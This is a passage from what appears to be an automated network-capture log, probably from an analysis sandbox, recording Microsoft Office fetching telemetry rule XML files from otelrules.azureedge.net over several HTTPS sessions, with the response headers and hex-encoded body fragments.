2024-11-16 03:34:18 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.4	49967	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:18 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:18 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 77cd0995-b01e-0097-670b-364f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033418Z-1866b5c5fbbldb6rhC1DFW4bew00000002b000000000nunb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.4	49969	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 83fa2191-701e-0098-599e-37395f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-16547b76f7f64d6whC1DFWf9vn00000000tg00000000c939 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.4	49968	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 0261770d-d01e-002b-1caf-3625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-1866b5c5fbbqmbqjhC1DFWwgvc00000001sg00000000br4z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.4	49971	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule700501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:58 GMT ETag: "0x8DC582BE89A8F82" x-ms-request-id: 835fac84-801e-002a-0b40-3631dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-1866b5c5fbbr78bbhC1DFWqz2n00000002cg000000008gb7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.4	49970	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: cfe108d0-801e-0035-77a0-34752a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-1866b5c5fbbzzh8chC1DFWdrc400000001tg00000000p65p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammability" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.4	49972	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule700500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:19 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE51CE7B3" x-ms-request-id: 5d2bddd1-201e-006e-8040-36bbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-16547b76f7f76p6chC1DFWctqw0000000p3000000000nk68 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:19 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 6f 77 65 72 50 6f 69 6e 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 6f 77 65 72 50 6f 69 6e 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.PowerPoint" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPowerPoint" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.4	49973	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule702551v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:39 GMT ETag: "0x8DC582BDCE9703A" x-ms-request-id: cd727bf0-801e-007b-329c-36e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-16547b76f7fw2955hC1DFWsptc00000002mg00000000sf9h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702551" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.4	49974	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:19 UTC	192	OUT	GET /rules/rule702550v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:19 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE584C214" x-ms-request-id: ac436fa1-601e-0032-7391-36eebb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033419Z-164f84587bfghdt4hC1DFWu5nn000000022g000000006b95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.4	49975	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 929893a7-101e-0017-74a6-3747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-16547b76f7fht2hfhC1DFWbngg00000002rg000000000xwv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49976	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	515	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: cbfe6fba-701e-0053-2775-373a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-1866b5c5fbbkcpv2hC1DFWf1yc000000029g00000000b3ry x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.4	49977	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-16 03:34:20 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-16 03:34:20 UTC	522	IN	HTTP/1.1 200 OK Date: Sat, 16 Nov 2024 03:34:20 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 5d228471-101e-007a-15a6-37047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241116T033420Z-164f84587bfsgfx9hC1DFWw1as000000022g00000000hukz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-16 03:34:20 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.4	49978	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
